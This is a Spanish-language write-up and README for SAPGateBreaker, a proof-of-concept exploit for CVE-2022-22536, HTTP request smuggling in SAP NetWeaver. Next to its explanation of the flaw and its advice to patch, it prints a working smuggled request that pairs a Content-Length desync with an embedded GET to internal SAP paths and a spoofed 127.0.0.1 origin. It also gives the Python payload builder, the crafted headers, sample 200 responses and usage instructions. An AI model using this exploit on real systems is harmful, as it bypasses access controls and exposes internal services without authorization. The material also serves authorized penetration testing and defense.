
SAPGateBreaker es un exploit PoC para CVE-2022-22536, una vulnerabilidad crítica de HTTP Request Smuggling en SAP NetWeaver. Demuestra cómo eludir las ACLs desincronizando el análisis de solicitudes entre ICM y los servicios backend mediante payloads basados en Content-Length manipulados.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 y SAP Web Dispatcher son vulnerables a contrabando de solicitudes y concatenación de solicitudes. Un atacante no autenticado puede anteponer datos arbitrarios a la solicitud de una víctima. De esta forma, el atacante puede ejecutar funciones suplantando a la víctima o envenenar las cachés web intermedias. Un ataque exitoso podría resultar en el compromiso total de la Confidencialidad, Integridad y Disponibilidad del sistema.
SAPGateBreaker es un exploit PoC para CVE-2022-22536, una vulnerabilidad crítica de Contrabando de Solicitudes HTTP en SAP NetWeaver. Demuestra cómo eludir las ACL desincronizando el análisis de solicitudes entre ICM y los servicios backend mediante cargas útiles manipuladas basadas en Content-Length.

La vulnerabilidad identificada como CVE-2022-22536 representa una falla crítica en SAP NetWeaver Application Server, exponiendo las instalaciones a ataques de Contrabando de Solicitudes HTTP. Esta vulnerabilidad, con una puntuación CVSS de 9.8, afecta tanto a las pilas Java como ABAP, permitiendo a los atacantes eludir los mecanismos de control de acceso e interactuar con aplicaciones internas como si estuvieran en la red interna.
Entendiendo el Contrabando de Solicitudes HTTP
El Contrabando de Solicitudes HTTP (HRS) es una técnica avanzada que explota discrepancias en cómo diferentes componentes de una infraestructura web (típicamente proxies, balanceadores de carga y servidores backend) interpretan los límites entre las solicitudes HTTP. Al manipular cabeceras como Content-Length y Transfer-Encoding, un atacante puede "contrabandear" una solicitud maliciosa que está desincronizada de lo que el servidor backend espera.
En esencia, cuando un servidor front-end y un back-end no están de acuerdo sobre dónde termina una solicitud y comienza la siguiente, un atacante puede inyectar una segunda solicitud oculta que será procesada con confianza elevada. Esto a menudo resulta en bypass de seguridad como evasión de WAF, envenenamiento de caché o elusión de ACL.
La naturaleza de CVE-2022-22536
El ICM (Internet Communication Manager) de SAP analiza incorrectamente solicitudes HTTP manipuladas, permitiendo que una solicitud contrabandeada llegue a servicios internos. Esto es particularmente impactante en arquitecturas segmentadas, donde el acceso directo a los servicios internos está restringido. Explotar esta vulnerabilidad permite a los atacantes emitir solicitudes que parecen originarse desde la red interna de confianza.
La vulnerabilidad se manifiesta cuando una carga útil abusa de interpretaciones conflictivas del final de una solicitud HTTP. Esto comúnmente implica inyectar una cabecera Transfer-Encoding: chunked o manipular el campo Content-Length para causar la desincronización.
Fallos iniciales de la carga útil y rechazo de la codificación chunked
Durante las pruebas, las cargas útiles que aprovechaban técnicas canónicas de contrabando chunked llevaron a respuestas 408 Request Timeout del ICM de SAP. Este comportamiento indicó que la pila HTTP de SAP no soporta Transfer-Encoding: chunked de la manera esperada, impidiendo la desincronización basada en chunked tradicional.
Como resultado, la metodología de explotación cambió al uso de cabeceras Content-Length para la desincronización. Una solicitud manipulada con una carga útil chunked vacía seguida de una segunda solicitud HTTP válida logró eludir los límites de las solicitudes. Esta estrategia alternativa demostró ser efectiva para sortear los controles de acceso internos.
Estrategia final del exploit e implementación del código
El exploit funcional envía una solicitud POST a un endpoint público (/sap/admin/public/default.html) con una cabecera Content-Length, seguida de una solicitud GET incrustada destinada a alcanzar un recurso interno.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
Esto resulta en un acceso interno exitoso:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
La implementación itera a través de una lista de URLs internas de SAP que normalmente están restringidas. Se compara el código de estado recibido mediante acceso directo con el recibido cuando se accede a través de la solicitud contrabandeada. Si el acceso interno devuelve 200 (mientras que el acceso directo devuelve 403 o 404), indica que la técnica de contrabando logró eludir los controles de acceso internos.
La lógica para construir la carga útil:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
El ataque se ejecuta usando una solicitud POST manipulada que contiene la carga útil contrabandeada:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
Resultados observados
En múltiples casos de prueba, endpoints como /sap/public/bc/icf/info o /heapdump/, que normalmente devolvían 403 Forbidden o 404 Not Found, respondieron con 200 OK cuando se accedió a través de la solicitud contrabandeada. Esto demuestra una elusión exitosa de los controles de acceso de SAP.
La salida de la herramienta incluía tanto las cargas útiles enviadas como las cabeceras de respuesta, permitiendo una validación forense precisa:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
Solicitud normal:


Solicitud de exploit:


Conclusión
CVE-2022-22536 resalta la amenaza persistente que representa el Contrabando de Solicitudes HTTP en las pilas de software empresarial moderno. La prueba de concepto presentada es una demostración de la vulnerabilidad subyacente y sirve como herramienta para la validación y pruebas de defensa.
Se recomienda encarecidamente a los administradores aplicar las actualizaciones de seguridad de SAP e implementar protecciones adecuadas de proxy inverso para evitar la propagación de solicitudes HTTP malformadas.
Se puede encontrar más información sobre CVE-2022-22536 en: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
Nota de seguridad de SAP: https://launchpad.support.sap.com/#/notes/3123396
Exploit SAPGateBreaker
SAPGateBreaker es una herramienta Python independiente que automatiza las pruebas para CVE-2022-22536, una vulnerabilidad crítica de Contrabando de Solicitudes HTTP en SAP NetWeaver Application Server.
Uso
python3 sapgatebreaker.py -u http://<host-objetivo>:<puerto> [--verbose]
Argumentos:
-u, --url: URL objetivo (ej. http://172.32.22.7:50000)-v, --verbose: Habilita la salida detallada de cabeceras y cuerpo para cada solicitud y respuestaCaracterísticas:
poc.txt para análisis posteriorDescargo de responsabilidad
Esta herramienta está destinada únicamente para pruebas de penetración educativas y autorizadas. El uso no autorizado contra sistemas sin permiso explícito está estrictamente prohibido y puede violar las leyes aplicables.